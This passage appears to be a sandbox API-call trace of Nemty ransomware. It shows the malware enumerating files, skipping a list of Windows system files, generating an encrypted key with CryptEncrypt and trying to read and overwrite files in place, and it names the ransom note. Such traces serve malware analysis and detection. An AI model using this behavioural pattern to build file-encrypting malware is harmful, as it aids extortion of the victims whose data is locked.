lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0099.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0099.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0099.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.285] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee1d0ab0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xee1d0ab0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xee1f6c10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0099.285] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0099.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0099.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0099.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.285] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0099.285] lstrcmpiW (lpString1="hmmapi.dll", lpString2=".") returned 1 [0099.285] lstrcmpiW (lpString1="hmmapi.dll", lpString2="..") returned 1 [0099.285] lstrcmpiW (lpString1="hmmapi.dll", lpString2="...") returned 1 [0099.285] lstrcmpiW (lpString1="hmmapi.dll", lpString2="windows") returned -1 [0099.285] lstrcmpiW (lpString1="hmmapi.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.285] lstrcmpiW (lpString1="hmmapi.dll", lpString2="rsa") returned -1 [0099.285] lstrcmpiW (lpString1="hmmapi.dll", lpString2="NTDETECT.COM") returned -1 [0099.285] lstrcmpiW (lpString1="hmmapi.dll", lpString2="ntldr") returned -1 [0099.285] lstrcmpiW (lpString1="hmmapi.dll", lpString2="MSDOS.SYS") returned -1 [0099.285] lstrcmpiW (lpString1="hmmapi.dll", lpString2="IO.SYS") returned -1 [0099.285] lstrcmpiW (lpString1="hmmapi.dll", lpString2="boot.ini") returned 1 [0099.285] lstrcmpiW (lpString1="hmmapi.dll", lpString2="boot.ini") returned 1 [0099.286] lstrcmpiW (lpString1="hmmapi.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.286] lstrcmpiW (lpString1="hmmapi.dll", lpString2="ntuser.dat") returned -1 [0099.286] lstrcmpiW (lpString1="hmmapi.dll", lpString2="desktop.ini") returned 1 [0099.286] lstrcmpiW (lpString1="hmmapi.dll", lpString2="CONFIG.SYS") returned 1 [0099.286] lstrcmpiW (lpString1="hmmapi.dll", lpString2="RECYCLER") returned -1 [0099.286] lstrcmpiW (lpString1="hmmapi.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.286] lstrcmpiW (lpString1="hmmapi.dll", lpString2="bootmgr") returned 1 [0099.286] lstrcmpiW (lpString1="hmmapi.dll", lpString2="programdata") returned -1 [0099.286] lstrcmpiW (lpString1="hmmapi.dll", lpString2="appdata") returned 1 [0099.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0099.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hmmapi.dll", lpUsedDefaultChar=0x0) returned 10 [0099.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0099.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hmmapi.dll", lpUsedDefaultChar=0x0) returned 10 [0099.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0099.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hmmapi.dll", lpUsedDefaultChar=0x0) returned 10 [0099.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0099.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hmmapi.dll", lpUsedDefaultChar=0x0) returned 10 [0099.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0099.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.286] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0099.286] lstrcmpiW (lpString1="ie8props.propdesc", lpString2=".") returned 1 [0099.286] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="..") returned 1 [0099.286] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="...") returned 1 [0099.286] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="windows") returned -1 [0099.286] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="$RECYCLE.BIN") returned 1 [0099.286] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="rsa") returned -1 [0099.286] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="NTDETECT.COM") returned -1 [0099.286] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="ntldr") returned -1 [0099.287] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="MSDOS.SYS") returned -1 [0099.287] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="IO.SYS") returned -1 [0099.287] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="boot.ini") returned 1 [0099.287] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="boot.ini") returned 1 [0099.287] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="AUTOEXEC.BAT") returned 1 [0099.287] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="ntuser.dat") returned -1 [0099.287] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="desktop.ini") returned 1 [0099.287] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="CONFIG.SYS") returned 1 [0099.287] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="RECYCLER") returned -1 [0099.287] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="BOOTSECT.BAK") returned 1 [0099.287] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="bootmgr") returned 1 [0099.287] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="programdata") returned -1 [0099.287] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="appdata") returned 1 [0099.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ie8props.propdesc", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0099.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ie8props.propdesc", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ie8props.propdesc", lpUsedDefaultChar=0x0) returned 17 [0099.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0099.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ie8props.propdesc", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0099.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ie8props.propdesc", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ie8props.propdesc", lpUsedDefaultChar=0x0) returned 17 [0099.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0099.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ie8props.propdesc", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0099.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ie8props.propdesc", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ie8props.propdesc", lpUsedDefaultChar=0x0) returned 17 [0099.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ie8props.propdesc", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0099.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ie8props.propdesc", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ie8props.propdesc", lpUsedDefaultChar=0x0) returned 17 [0099.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94158 [0099.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0099.288] Sleep (dwMilliseconds=0x5) [0099.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xeed45490, dwHighDateTime=0x1d561e7)) [0099.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xeed45490, dwHighDateTime=0x1d561e7)) [0099.292] GetLastError () returned 0x12 [0099.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.292] GetLastError () returned 0x12 [0099.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0099.292] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0099.292] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0099.292] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0099.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941d0 [0099.292] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941d0, pcchString=0x653f2dc | out: pszString="DZKTlkVX7GkHCfmQq2eoGdDidMIoshxn7N1sYUHLpyzas3SWh9a6zsMV7i//AYpZ\r\nHF0OX1Q+R7HB46SueCH+6swbq3XGZQwYTT3UlZBBnZmH3IEQTjAaqshu5r0ubCfN\r\npgS/MZ9pFGWKF+SBaIAJHK0kJt63ODQlC8X+52GGHRzNh4V2bsytAqSU+k23ECvz\r\naNtO12ctIqROFg87YcppwffofP6hsAxCadWBKtUxCyyd8EUGEgxqm2P5aywLiAfc\r\nGqIaNqVsj08vTlZoGZ/THKOfeA1NzHIWtsiB9TYdfme7dSiew2FFDY/Cvavb0Wvv\r\nX7iKmzjMjLiY26UkWYhNxQ==\r\n", pcchString=0x653f2dc) returned 1 [0099.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0099.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d0 | out: hHeap=0x4f90000) returned 1 [0099.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0099.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0099.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941d0 [0099.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0099.292] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.293] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0099.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634fc48 [0099.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.293] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0099.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.303] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0099.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.303] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0099.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.312] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0099.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.312] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0099.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0099.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.321] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0099.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.331] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0099.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.331] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0099.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0099.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0099.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0099.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0099.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.359] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0099.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.359] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0099.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff 